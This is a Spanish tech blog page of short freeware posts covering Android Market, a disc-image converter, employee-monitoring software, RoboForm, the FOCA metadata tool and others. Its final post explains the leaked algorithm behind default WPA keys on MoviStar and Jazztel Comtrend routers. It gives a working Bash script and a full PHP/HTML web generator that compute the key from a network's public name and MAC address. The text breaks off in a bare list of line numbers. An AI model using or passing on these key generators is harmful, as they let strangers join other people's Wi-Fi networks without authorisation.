Google anunció el lunes que ha alcanzado 10 mil millones de aplicaciones descargadas desde el Android Market – un hito importante en su guerra con la plataforma móvil de Apple.

Gracias a esto, Android Market esta ofreciendo durante 10 días aplicaciones con descuentos de hasta 98,57%. Cada día se ofrecen 10 aplicaciones distintas con valor entre $0,99 y $6,99 a un precio reducido a solo $0,10 cada una. Esta medida sólo hará que suban mas aun, las cifras de ventas.

Entre los proveedores de aplicaciones que participan en el programa son EA, Gameloft y Glu Mobile. Glu Mobile, que ha estado en Android desde los primeros días del telefono T-Mobile G1 con Bonsai Blast y Brain Genius Deluxe, ofrecerá dos aplicaciones con descuento: Deer Hunter 3D y Super KO Boxing! 2.

La siguiente tabla (cortesía de Google) muestra el crecimiento del mercado de Android. Estos números son una validación de la creciente fortaleza de Android en el mercado?

Alcanzar los 10 mil millones de descargas es la culminación natural de un importante proyecto de desarrollo iniciado por Android Market durante el año pasado.

“Mil millones es un número bastante grande de cualquier medida. Sin embargo, cuando se describe la velocidad a la que algo está creciendo, es simplemente increíble “, señaló Eric Chu, Director de Ecosistemas del Android Developer. Para alcanzar las primeras mil millones de aplicaciones descargadas, Android Market de Google ha necesitado 20 meses. Actualmente, con sus mas de 200 millones de dispositivos Android activados en todo el mundo, Android Market llega a facilitar la descarga de mas de mil millones de aplicaciones cada mes. Cerca de 550.000 nuevas activaciones de dispositivos Android tienen lugar cada día.

» Sitio Oficial | Aplicaciones ANDROID a $0,10
» Fuente de referencia | Android Developer Ecosystem

Compartelo:

[?]

Android supera los 10 billones de descargas este mes y lo celebran con descuentos de hasta el 98% es un post de: ¡De todo un poco!

Nero es definitivamente mi opción preferida en utilidades para escribir discos, pero por desgracia no es capaz de guardar una imagen de disco en formato ISO.

En mi opinión, es sin ninguna duda la herramienta para quemar discos más popular y por lo tanto usted podría necesitar convertir algún archivo de imagen de disco compilado en el formato típico de “Imagen de Nero” (archivo .nrg). Por suerte, las imagenes .nrg pueden ser fácilmente convertidas al formato estándar .ISO que es apoyado por todas las herramientas para quemar discos. NRG2ISO hace exactamente esto, convirtiendo imágenes de CD de Nero a la ISO 9660 imágenes casi al instante.

» Licencia | Freeware / Gratis
» Sistema Operativo | Windows
» Tamaño | 469KB
» Enlace de descarga | nrg2iso.zip
» Fuente de referencia | MegaLeecher

Compartelo:

[?]

Convierte tus imagenes creadas con Nero a formato ISO-9660 Standard CD es un post de: ¡De todo un poco!

Esta herramienta está enfocada a la monitorización y control de las actividades que los empleados de una empresa realizan desde su equipo corporativo y dentro de su jornada laboral. Sin embargo también es posible su uso en otros casos fuera de este ámbito tan específico.

El sueño deseado de cualquier jefe. Disponer de una herramienta que permita contabilizar los tiempos de actividad que el usuario dedica a cada aplicación con la que trabaja, no computando los tiempos donde la aplicación se encuentra en segundo plano (Esto es, abrir Word, dejarlo abierto, y a continuación abrir Messenger y ponerse a chatear).

La arquitectura de comunicación y almacenamiento de información de esta aplicación está basada en una estructura de ‘cliente / servidor’. El equipo cliente, en el cual se ha instalado la aplicación ‘agente’ de ‘Integria IMS’, se encarga de realizar la recolección de información que posteriormente es enviada y procesada por el servidor, desde el cual se puede acceder a dicha información a través de una cómoda interfaz web, tal y como se presenta en la siguiente imagen.

Por otro lado, la herramienta realiza un seguimiento de las conexiones que realizan las aplicaciones que se utilizan por los usuarios, por lo que es posible analizar a qué hora y desde qué aplicación se realizó la descarga o el acceso a un documento que estuviera disponible en la red.

Como trabajador que soy, realmente no tengo claro si me interesa que me implementen esta herramienta en mi empresa

» Licencia | Freeware / Gratis
» Sistema Operativo | Linux / Windows
» Otros | Maquina virtual VmWare para pruebas y practicas
» Sitio Oficial | Integria IMS
» Video Tutorial | Integria IMS (Vídeo Demostrativo)
» Fuente de referencia | SecurityByDefault

Compartelo:

[?]

Integria IMS – Averigua el rendimiento del personal de tu organización es un post de: ¡De todo un poco!

xSpeechKit es una interesante extensión para Google Chrome que se vale de la nueva funcionalidad de reconocimiento de voz de Google Chrome para aumentar la potencialidad del mismo. Y qué mejor manera de hacerlo que usando el mismo buscador de Google para lograr este objetivo. Así tenemos una extensión que se constituye en una herramienta de mucha utilidad para personas que sufran algún tipo de discapacidad. Y para las ques no, tambien.

xSpeechKit es una extensión gratuita y tras su instalación nos muestra un icono en el campo de búsqueda de Google donde normalmente ingresamos el texto a buscar. Este icono tiene la forma de micrófono, solo bastará hacerle clic para que comience el proceso de reconocimiento de lo que estamos hablando, luego de que hagamos una pausa prolongada, la extensión genera el texto y empieza a realiza la búsqueda.

» Licencia | Freeware / Gratis
» Sistema Operativo | Windows
» Enlace de descarga | xSpeechKit
» Fuente de referencia | TecnologiaDiaria

Compartelo:

[?]

[Chrome] xSpeechKit: Controla el buscador Google con la voz es un post de: ¡De todo un poco!

Microsoft Safety Scanner es una herramienta de seguridad que se descarga de forma gratuita y que proporciona análisis a petición para ayudar a eliminar virus, spyware y otro software malintencionado. No interfiere con el software antivirus que ya posee.

Nota: Microsoft Safety Scanner expira 10 días después de la descarga. Para volver a ejecutar un análisis con las últimas definiciones contra malware, debe descargar y volver a ejecutar Microsoft Safety Scanner.

Microsoft Safety Scanner no reemplaza el uso de programas de software antivirus que proporcionen una protección continua.

» Licencia | Freeware / Gratis
» Sistema Operativo | Windows
» Tamaño | 69MB
» Sitio Oficial | Microsoft Safety Scanner

Compartelo:

[?]

Microsoft Safety Scanner ¿Sospecha que su PC tiene un virus? es un post de: ¡De todo un poco!

BitDefender ha lanzado una descarga gratuita, apodado USB Immunizer, diseñado para proteger las unidades USB de las amenazas de malware. En los últimos años, ciertos virus informáticos han vuelto a los métodos del pasado, con las infecciones que se extienden a mano de un equipo a otro. La única diferencia es que los virus ahora utilizan las unidades flash USB en lugar de los discos floppy. BitDefender ha lanzado USB Immunizer, una solución gratuita para este problema.

El BitDefender USB Immunizer es una descarga gratuita que protege los dispositivos de almacenamiento USB y tarjetas SD contra las infecciones de malware prominentes, entre ellos Trojan.AutorunINF, Worm.Autorun.VHG y Trojan.Autorun.AET.

El software automáticamente bloquea los archivos autorun.inf maliciosos, lo que significa que su dispositivo de almacenamiento seguirá estando seguro, incluso si usted lo enchufa en un equipo infectado. Si usted usa computadoras públicas o comparte los equipos en el trabajo, con este sistema podrás estar tranquil@.

La herramienta también cuenta con la opción “Immunise PC”, que le permite cambiar las característica de ejecución automática de tu PC, para dispositivos externos de almacenamiento USB. Deshabilitar la opción de ejecución automática reduce el riesgo de que su equipo se infecte por una unidad de disco USB infectada.

» Licencia | Freeware / Gratis
» Sistema Operativo | Windows
» Tamaño | 1,2MB
» Sitio Oficial | BitDefender USB Immunizer
» Fuente de referencia | PC Authority

Compartelo:

[?]

Protege tus memorias usb con BitDefender USB Immunizer es un post de: ¡De todo un poco!

NET Framework Cleanup es una herramienta de limpieza diseñada para realizar automáticamente un conjunto de tareas de limpieza para eliminar residuos de versiones anteriores de .NET Framework en tu equipo. Esta herramienta va a quitar archivos, directorios y las claves de registro con información de registro del producto. La herramienta está diseñada principalmente para devolver su sistema a un estado conocido (relativamente limpio) en caso de que la instalacion/actualizacion de .NET Framework falle.

Hay un par de cosas muy importantes que debe tener en cuenta antes de utilizar esta herramienta para quitar cualquier versión de .NET Framework del sistema:

• Esta herramienta está diseñada como un último recurso para casos donde instalar, desinstalar, reparar o actualizar no tuvo éxito por razones inusuales. No es un sustituto para el procedimiento de desinstalación. Intente los pasos indicados en esta entrada de blog antes de utilizar esta herramienta de limpieza.
• Esta herramienta de limpieza eliminará archivos compartidos y claves de registro que utilizan otras versiones de .NET Framework. Si ejecuta la herramienta de limpieza, necesitará realizar una reparación/re-instalación para todas las demás versiones de .NET Framework que están en el equipo o no funcionarán correctamente después.

NET Framework Cleanup es una herramienta de limpieza de .NET Framework es compatible con los siguientes productos:

• .NET Framework – todas las versiones
• .NET Framework – todas las versiones (Tablet PC y Media Center)
• .NET Framework – todas las versiones (Windows Server 2003)
• .NET Framework – todas las versiones (Windows Vista y Windows Server 2008)
• .NET Framework 1.0
• .NET Framework 1.1
• .NET Framework 2.0
• .NET Framework 3.0
• .NET Framework 3.5
• .NET Framework 4

No todos los productos mencionados anteriormente aparecerán en la interfaz de usuario de la herramienta de limpieza de .NET Framework. La herramienta de limpieza es inteligente, por lo que si se ejecuta en una versión del sistema operativo que incluye la .NET Framework como un componente de OS, no ofrecerá la opción para borrarlo. Esto significa que la ejecución de la herramienta de limpieza de Windows XP Media Center Edition o Tablet PC Edition no ofrecerá la opción limpiar la .NET Framework 1.0. En Windows Server 2003 no ofrecerá la opción para limpiar el .NET Framework 1.1 y ejecutarlo en Windows Vista o Windows Server 2008 no ofrecerá la opción para limpiar el .NET Framework 2.0 o el .NET Framework 3.0.

Al elegir a quitar cualquiera de las versiones anteriores de la .NET Framework, la herramienta de limpieza también eliminará cualquier parche asociado.

Modo de instalación silenciosa
NET Framework Cleanup se puede ejecutar en modo silencioso. En este modo, la herramienta se ejecuta sin mostrar ninguna interfaz de usuario, y el usuario debe especificar la versión de la .NET Framework que se querrá quitar como un parámetro en línea de comandos. Para ejecutar la herramienta de limpieza en modo silencioso, es necesario descargar la herramienta de limpieza, extraer el archivo cleanup_tool.exe del archivo zip y a continuación ejecutarlo con la siguiente sintaxis:

cleanup_tool.exe /q:a /c:"cleanup.exe /p "

El valor del modificador /p que se pasa con para reemplazar < nombre de producto para quitar > en este ejemplo debe coincidir exactamente con uno de los productos enumerados mas arriba. Por ejemplo, si desea ejecutar la limpieza de la herramienta en modo silencioso y quitar la.NET Framework 1.1, debe utilizar una línea de comandos como la siguiente:

cleanup_tool.exe /q:a /c:"cleanup.exe /p .NET Framework 1.1"

Una nota importante: como se indicó anteriormente, la herramienta de limpieza no permite eliminar una versión de .NET Framework que esta integrada como parte del sistema operativo que se está ejecutando. Esto significa que incluso si se trata de esta línea de comandos del ejemplo en Windows Server 2003, la herramienta se cerrará con un fallo y el código de retorno correspondiente y no permitirá al usuario eliminar el .NET Framework 1.1 porque es parte de ese sistema operativo.

Del mismo modo, no se puede utilizar la herramienta de limpieza para eliminar .NET Framework 1.0 desde Windows XP Media Center Edition o Windows XP Tablet PC Edition o quitar la .NET Framework 2.0 o 3.0 de Windows Vista o Windows Server 2008.



Modo de instalación desatendida
La herramienta de limpieza de .NET Framework admite la ejecución en modo silencioso. En este modo, la herramienta se ejecutará y sólo muestran un dialogo en el que se puede ver como avanza el proceso de eliminación, pero no requerirá interacción del usuario. El modo desatendido requiere que el usuario especifique la versión de la .NET Framework que desea quitar como un parámetro en línea de comandos. Para ejecutar la herramienta de limpieza en modo desatendido, necesita descargar la herramienta de limpieza, extraer el archivo cleanup_tool.exe del archivo zip y a continuación, ejecutarlo con la siguiente sintaxis:

cleanup_tool.exe /q:a /c:"cleanup.exe /p /u"

Por ejemplo, si desea ejecutar la limpieza de la herramienta en modo desatendido y quitar la .NET Framework 1.1, debe utilizar una línea de comandos como la siguiente:

cleanup_tool.exe /q:a /c:"cleanup.exe /p .NET Framework 1.1 /u"

La herramienta de limpieza puede devolver los siguientes códigos de salida:

• 0 – limpieza realizado correctamente para el producto especificado
• 3010 – limpieza realizado correctamente para el producto especificado y es necesario reiniciar el equipo para completar el proceso de limpieza
• 1 – herramienta de limpieza requiere privilegios administrativos en el equipo
• 2 – el archivo cleanup.ini no se encuentra en la misma ruta que cleanup.exe
• 3 – uno de los productos no se puede quitar porque es una parte del sistema operativo en el sistema que se está ejecutando la herramienta de limpieza
• 4 – se omitió un producto por que no existe en cleanup.ini
• 100 – la limpieza comenzar pero fallo durante el proceso de limpieza
• 1602 – la limpieza fue cancelada

Archivos de registro
La herramienta de limpieza crea los siguientes archivos de registro:

• %temp%\cleanup_main.log – un registro de todas las actividades durante cada ejecución de la herramienta de limpieza.
• %temp%\cleanup_actions.log – un registro de las acciones realizadas durante la eliminación de cada producto.
• %temp%\cleanup_errors.log – un registro de errores y advertencias encontradas durante cada ejecución de la herramienta de limpieza

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Windows
» Tamaño | 256KB
» Enlace de descarga | dotnetfx_cleanup_tool.zip | dotnetfx_5F00_cleanup_5F00_tool.zip
» Fuente de referencia | .NET Framework Cleanup Tool User’s Guide | .NET Framework setup troubleshooting steps do not help

---

Compartelo:

[?]

NET Framework Cleanup es la solucion al fallo de instalacion / actualizacion de .NET Framework es un post de: ¡De todo un poco!

SQLite Database Browser es una herramienta de código abierto, gratuita, que te permitirá crear, diseñar y editar archivos de base de datos compatibles con SQLite.

Ha sido diseñada para ser usada tanto por usuarios domésticos como por desarrolladores que quieran crear bases de datos, editar y buscar datos utilizando una interfaz familiar al estilo de las hojas de cálculo de excel, sin la necesidad de aprender complicados comandos SQL.

Principales características y opciones:

• Crear y compactar archivos de bases de datos
• Crear, definir, modificar y eliminar tablas
• Crear, definir y eliminar índices
• Ver, editar, agregar y eliminar registros
• Buscar registros
• Importar y exportar registros en forma de texto
• Importar y exportar tablas desde/a archivos CSV
• Importar y exportar base de datos desde/a archivos de copias de seguridad SQL
• Realizar consultas SQL y revisar los resultados
• Examine el registro de todos los comandos SQL emitidas por la aplicación

Este programa no es un intérprete visual del shell de comandos de sqlite. No son necesarios conocimientos previos con los comandos SQL. Es una herramienta sencilla para ser utilizada tanto por los desarrolladores y los usuarios finales, y por esto debe seguir siendo tan fácil de usar como sea posible a fin de lograr sus objetivos.

Este programa fue desarrollado originalmente por Mauricio Piacentini de Tabuleiro Producoes, bajo el nombre Arca Database Browser. El código original fue recortado y ajustado para que sea compatible con el estándar de bases de datos SQLite 2.x.

El programa resultante pasó a llamarse SQLite Database Browser, y fue publicado en el SourceForge por el autor original. Los iconos fueron aportados por Raquel Ravanini y Tabuleiro. Jens Miltner ha contribuido con el código para apoyar las bases de datos SQLite 3.x apartir de la versión 1.2.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux/MacOS/Windows
» Tamaño | 7.3MB – 17.1MB
» Sitio Oficial | SQLite Database Browser
» Enlace de descarga | SQLite Database Browser

Compartelo:

[?]

Free SQLite Database Browser – Crea y gestiona bases de datos es un post de: ¡De todo un poco!

Soluto es una herramienta maravillosa para analizar el proceso de inicio del equipo y corregir cuellos de botella. Sin embargo si buscas una utilidad de análisis de inicio adecuada para el análisis estadístico de arranques sobre varias iteraciones junto con diversas métricas y gráficos ” MaaS360 Boot Analyzer Tool” sería la solución.

¿Cuánto tiempo tardan los equipos para arrancar cuando los usuarios los inician? ¿El grupo de IT recibe llamadas de los empleados quejándose por el largo tiempo de espera en el inicio? El problema podría ser un nuevo software, una actualización o un virus, pero ¿cómo puede estar seguro?

El analizador de arranque MaaS360 puede mantener un historial de hasta 100 veces anteriores de arranque, para ver si los retardos de tiempo de arranque coinciden con cambios en el equipo, realizar pruebas automáticas de evaluación comparativa y establecer umbrales. También notificará si repentinamente aumentan los tiempos de arranque.

» Licencia | Freeware / Gratis
» Sistema Operativo | Windows
» Tamaño | 3,89MB
» Sitio Oficial | MaaS360
» Enlace de descarga | BootAnalyzerInstaller.exe
» Fuente de referencia | MegaLeecher

Compartelo:

[?]

MaaS360 Boot Analyzer Tool es un post de: ¡De todo un poco!

RoboForm es un programa que te ayuda en la tarea de rellenar formularios y recordar contraseñas. RoboForm es el aliado perfecto para rellenar los múltiples formularios que encontramos en Internet. Con un sencillo click RoboForm rellena el formulario con los datos que previamente le hemos suministrado.

RoboForm es capaz de memorizar tus contraseñas y acceder automáticamente a las web que piden contraseña sin tener que teclear el nombre de usuario y la contraseña. Las contraseñas almacenadas por RoboForm están encriptadas por lo que la seguridad es máxima. RoboForm es uno de esos programas que facilita la vida de la persona que lo usa y que una vez que lo pruebas no puedes dejar de usarlo.

RoboForm es el Administrador de Contraseñas y Cumplimentador de Formularios Web mejor valorado, que automatiza completamente la introducción de contraseñas y el rellenado de formularios.
RoboForm ha sido nombrado Editor’s Choice (Elección del Editor) en PC Magazine, y Programa del año de CNET Download.com.

Características RoboForm:

• Memoriza sus contraseñas y le conecta automáticamente.
• Rellena extensos formularios de registro y casillas de verificación con un solo clic.
• Encripta sus contraseñas para obtener una seguridad completa.
• Genera contraseñas aleatorias que los intrusos no pueden adivinar.
• Combate el Phishing rellenando contraseñas sólo en los sitios web que coinciden.
• Keylogger evita el uso del teclado para escribir contraseñas.
• Salvaguarda sus contraseñas, las copia entre ordenadores.
• Sincroniza contraseñas entre ordenadores usando GoodSync.
• Busca palabras en sus Contraseñas, Notas e Internet.
• Portátil: RoboForm2Go se ejecuta desde un disco USB, sin necesidad de instalación.
• AutoGuardar contraseñas del navegador.
• AutoRellena contraseñas en formularios de conexión.
• Pulsa por usted el botón Conectar.
• Rellena información personal en formularios en línea.
• Guarda contraseñas externas y notas.
• Genera Contraseñas Aleatorias Seguras.
• Encripta contraseñas y datos personales usando los algoritmos AES, Blowfish, RC6, 3-DES o 1-DES.
• Toda la información personal se almacena sólo en su ordenador.
• Lleve RoboForm con usted en un disco USB para máxima portabilidad.
• Salvaguarda & Restaura, Imprime sus contraseñas.
• Se comporta bien: SIN ANUNCIOS, SIN ESPIA.
• PDA: sincroniza sus contraseñas con Pocket PC y Palm.
• Navegadores: funciona con Internet Explorer, AOL/MSN, Firefox.
• IE 8, IE 7, IE 6, Firefox 3.5, Vista, and Windows 7 ahora son soportados.

» Licencia | Freeware / Gratis / Otros
» Sistema Operativo | iPhone / Android / PPC / WinCE / Linux / MacOS / Windows
» Sitio Oficial | Roboform
» Sitio Oficial | Presentación Roboform Desktop
» Sitio Oficial | Presentación Roboform2Go Portable
» Enlace de descarga | RoboForm Enterprise Desktop Free
» Enlace de descarga | RoboForm2Go Enterprise Portable Free
» Sitio Oficial | Comprar la version PRO

Compartelo:

[?]

RoboForm Enterprise (Desktop y Portable) Free es un post de: ¡De todo un poco!

Cuando escribes un documento o cuando tomas una foto con una cámara en el fichero resultante se guarda la información realizada y también una serie de metadatos como pueden ser nombre del propietario documento, impresora, nombre de la cámara o coordenadas GPS de donde fue tomada la foto, etc.

Para los que aun no la conoce, FOCA (Fingerprinting Organizations with Collected Archives) es una herramienta que sirve para extraer y analizar metadatos. Es una herramienta bastante conocida y utilizada en las altas esferas del hacking, ya que fue presentada en varias conferencias internacionales como BlackHat EU 2009 y Defcon 17.

Soporta los siguientes tipos de documentos:

1. Microsoft Office de la versión 97 a la 2007
2. OpenOffice
3. Portable Document Format (pdf)
4. Corel Word Perfect document (wpd)
5. Joint Photographic Experts Group (jpg)

Extensiones soportadas:

1. MS Office: doc, docx, xls, xlsx, ppt, pptx, ppsx y pps
2. Open Office: odf, ods, odt, odp, sxw, swi y sxc
3. Adobe: pdf, indd
4. Otros: jpg, wpd, svg y svgz

Para disfrutar de la FOCA en linux, pueden seguir los siguientes pasos:

1. Descomprimir el zip con todos los ejecutables y librerías que utiliza la FOCA
2. Instalar wine: # yast2 –install wine
3. Instalar componentes necesarios: Microsoft .NET Framework 2.0, gdiplus y fontfix (mejor con Winetricks)
   # winetricks dotnet20 gdiplus fontfix
4. Ejecutar la FOCA por medio de Wine
   # wine ‘FOCA Free.exe’

Si no te queda bien claro el procedimiento puedes echar un vistazo a estos dos posts: [1] + [2]

» Licencia | Freeware / Gratis
» Sistema Operativo | OnLine / Linux / MacOS / Windows
» Sitio Oficial | FOCA OnLine
» Otro Sitio | Manual de Usuario (ElLadoDelMal)
» Otro Sitio | Defcon 18: FOCA 2
» Enlace de descarga | FOCA Pro (gratuita -solo las primeras 1000 descargas)

Compartelo:

[?]

FOCA Pro (Fingerprinting Organizations with Collected Archives) es un post de: ¡De todo un poco!

XolidoSign es una aplicación gratuita que le permite realizar:

1. Firmas electrónicas de cualquier documento o archivo, soporta firma integrada PDF, operación múltiple y sin limitaciones
2. Sellos de tiempo, para cualquier tipo de documento o archivo.
3. Verificación inteligente de firmas electrónicas, sellos de tiempo y archivos.

Puedes utilizar XolidoSign con tu DNI electrónico o con cualquier certificado electrónico, puedes firmar y/o verificar cualquier tipo de documentos sin límite de tamaño: PDF, Excel, Word, PowerPoint, psd, archivos txt, HTML, php, bases de datos, imágenes, diseños vectoriales, archivos 3D, vídeos, planos, música…

XolidoSign incluye en la nueva versión VERIFICACIÓN INTELIGENTE, selecciona todo lo que quieras verificar y el sistema realizará un proceso automático de emparejamientos y asociaciones entre los archivos, las firmas electrónicas y sellos de tiempo, proporcionando el estado de validez de firmas, sellos y archivos.

Garantiza tu seguridad jurídica, con la firma electrónica y XolidoSign protege la autoría y la identidad del firmante en tus documentos y archivos. Con la verificación inteligente comprueba la validez de los documentos firmados que te envíen. ¡XolidoSign trabaja por tí!

» Licencia | Freeware / Gratuita
» Sistema Operativo | Windows 2000, XP, Vista, W7
» Idiomas | Español, Inglés
» Versión actual | 2.0.0.2

» Sitio Oficial | Web XolidoSign
» Enlace de descarga | SetupXolidoSign.exe (Versión Actualizada!)
» Manual de usuario | Manual_XolidoSign_V_2_0_0_es_firmado_por_XOLIDO_SYSTEMS.pdf

Compartelo:

[?]

XolidoSign, Firma electrónica, sellado de tiempo y verificación inteligente de documentos y archivos en tu ordenador es un post de: ¡De todo un poco!

Hace muy poco se ha hecho público el algoritmo que genera las contraseñas de los routers Comtrend, que ofrece MoviStar (Telefonica) y Jazztel a sus clientes para acceder a Internet. Esto significa que si eres un cliente de MoviStar o de Jazztel y al recibir tu router no has cambiado la contraseña, es casi como si no la tuvieras. En estos momentos es mas sencillo calcular esa clave WPA que sacar una clave WEP.

Este mecanismo de generación de claves, basado en el BSSID y el ESSID del router (uno es lo que se conoce como el “nombre la red, habitualmente WLAN_XXXX en routers de MoviStar y Jazztel_XXXX en routers de Jazztel) y otro la dirección MAC del router (escrita normalmente en su base). Estos dos datos son públicos cuando se usa Wi-Fi, por tanto, cualquiera puede calcular la clave.

El algoritmo combina estos dos valores, les concatena la cadena bcgbghgg al comienzo, calcula el hash MD5 y se queda con los 30 primeros caracteres. Los detalles pueden ser consultados, en diferentes lenguajes de programación que les mostraré a continuación. Como pueden ver no es necesario capturar ningún paquete.

Ejemplo en BASH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#!/bin/bash                                                                     
 
echo CalcWLAN by a.s.r
 
if [ $# -ne 2 ]
then
        echo "Usage: $0 < essid > < bssid >"
        echo
        echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90"
        exit 1
fi
 
HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d :)
BSSIDP=$(echo -n "$BSSID" | cut -c-8)
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)
 
echo "La puta clave es $KEY"

Ejemplo en PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195

 
< ?php
// This code is under the public domain
// neikokz (at) gmail (dot) com
 
if (isset($_GET['mirror']) && $_GET['mirror'] == 1)
{
    header('Content-type: text/plain; charset=utf-8');
    die(file_get_contents(__FILE__));
}
 
function right($string, $chars)
{
   return substr($string, strlen($string) - $chars, $chars);
}
 
if (isset($_POST['essid']) && isset($_POST['bssid']))
{
   $bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid'])));
 
   if (strlen($bssid) != 12)
   {
      die('Mete bien la MAC, buen hombre.');
   }
 
   $essid = strtoupper(trim($_POST['essid']));
   $_ssid = substr($bssid, 0, 8).right($essid, 4);
 
   die(substr(md5('bcgbghgg'.$_ssid.$bssid), 0, 20));
}
 
if (isset($_POST['bssid_only']))
{
   $bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid_only'])));
 
   if (strlen($bssid) != 12 || hexdec($bssid) == 0)
   {
      die('Mete bien la MAC, buen hombre.');
   }
 
   $cal[] = strtoupper(dechex(hexdec(right($bssid, 4)) - 3));
   $cal[] = strtoupper(dechex(hexdec(right($bssid, 4)) - 1));
   $cal[] = right($bssid, 4);
 
   foreach ($cal as $value)
   {
     $res .= substr(md5('bcgbghgg'.substr($bssid, 0, 8).$value.$bssid), 0, 20).' o ';
   }
 
   die(substr($res, 0, strlen($res) - 4));
}
 
?>
< !DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <style type="text/css">
      #c
        { margin: 25px auto; width: 500px; font-family: 'Arial', sans-serif; color: #333; }
      #c h1
        { margin: 5px 0 10px 0; font-size: 13pt; border-bottom: 1px dotted #888; padding-bottom: 3px; }
      #c form
        { clear: both; margin: 0 0 10px 0; }
      #c p
        { font-size: 8pt; margin: 0; text-align: center; }
      #c dl
        { font-size: 9pt; }
      #c dt
        { float: left; margin-bottom: 10px; text-align: right; width: 190px; padding-top: 4px; }
      #c dd
        { margin-left: 200px; margin-bottom: 10px; }
      #c form#sin_essid
        { display: none; }
      #c input[type=text]
        { width: 300px; }
      #c input[type=submit]
        { font-weight: bold; }
      #c a
        { color: #0084b4; text-decoration: none; font-weight: bold; }
      #c a:hover
        { text-decoration: underline; }
      #c p.r
        { font-size: 10pt; padding: 5px 10px; background: #36679f; color: white; display: table; text-align: center; margin: 15px auto; border-radius: 3px; -moz-border-radius: 3px; text-shadow: 0px 1px 2px #06374f; }
      #c span
        { font-size: 8pt; }
      #c div.b
        { font-size: 10pt; padding: 5px 10px; background: #eaf3ff; display: table; text-align: center; margin: 15px auto; border-radius: 3px; -moz-border-radius: 3px; }
      #c p.q
        { font-size: 9pt; }
      #c p.y
        { font-size: 11pt; }
      #c p.q a
        { font-weight: bold; }
      #c p.q.v
        { margin-top: 3px; font-size: 8.5pt; }
      #c p.s
        { font-size: 7pt; color: #666; }
      #c div.r
        { border-radius: 5px; -moz-border-radius: 5px; background: #eee; padding: 10px; margin-bottom: 15px; }
      #c .clearit
        { clear: both; }
      a.d img
        { margin: 0 auto; display: block; }
    </style>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
    <script type="text/javascript">
      function release() {
        $('#toallizar').removeAttr('disabled');
        $('#toallizar').val('Calcular');
        $('#toallizar2').removeAttr('disabled');
        $('#toallizar2').val('Calcular');
      }
      function do_toalla(v) {
       if (!v) {
         $('#toallizar').attr('disabled', 'disabled');
         $('#toallizar').val('Espera...');
         $.ajax({
           type: 'POST',
           url: '< ?php echo $_SERVER["SCRIPT_NAME"]; ?>',
           data: 'essid=' + $('#essid').val() + '&bssid=' + $('#bssid').val(),
           success: function(response) {
             release();
             $('#resultado').val(response);
           },
           error: function(response) {
             release();
             alert(':(');
           }});
       } else {
         $('#toallizar2').attr('disabled', 'disabled');
         $('#toallizar2').val('Espera...');
         $.ajax({
           type: 'POST',
           url: '< ?php echo $_SERVER["SCRIPT_NAME"]; ?>',
           data: '&bssid_only=' + $('#bssid2').val(),
           success: function(response) {
             release();
             $('#resultado').val(response);
           },
           error: function(response) {
             release();
             alert(':(');
           }});
        }
        return false;
     }
     function toggler() {
        if ($('#sin_essid').is(":visible")) {
        $('#sin_essid').hide();
        $('#con_essid').show();
        $('#toggler').html('Cambie mi ESSID');
      } else {
        $('#con_essid').hide();
        $('#sin_essid').show();
        $('#toggler').html('No cambie mi ESSID');
      }
     }
    </script>
    <title>Generador de claves</title>
  </head>
  <body>
    <div id="c">
      <h1>Generador de claves para JAZZTEL_XXXX y WLAN_XXXX</h1>
     <p><a href="#" onclick="toggler(); return false;" id="toggler">Cambie mi ESSID</a></p>
      <form onsubmit="do_toalla(0); return false;" id="con_essid">
        <dl>
         <dt>ESSID (nombre de tu red):</dt>
         <dd><input type="text" name="essid" id="essid" /></dd>
         <dt>BSSID (MAC de tu router):</dt>
         <dd><input type="text" name="bssid" id="bssid" /></dd>
         <dt>Aplica presion sobre este boton:</dt>
         <dd><input type="submit" value="Calcular" id="toallizar" /></dd>
        </dl>
      </form>
      <form onsubmit="do_toalla(1); return false;" id="sin_essid">
        <dl>
         <dt>BSSID (MAC de tu router):</dt>
         <dd><input type="text" name="bssid2" id="bssid2" /></dd>
         <dt>Aplica presion sobre este boton:</dt>
         <dd><input type="submit" value="Calcular" id="toallizar2" /></dd>
         <dt></dt>
         <dd>Se generaran tres posibles claves</dd>
        </dl>
      </form>
      <div class="clearit"></div>
        <dl>
         <dt>Resultado:</dt>
         <dd><input type="text" name="resultado" id="resultado" /></dd>
       </dl>
      <p class="s"><strong>v1.5</strong> (< ?php echo date('d/m H:i:s', filemtime(__FILE__)); ?>)</p>
    </div>
 
  </body>
</html>

Ejemplo en HTML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
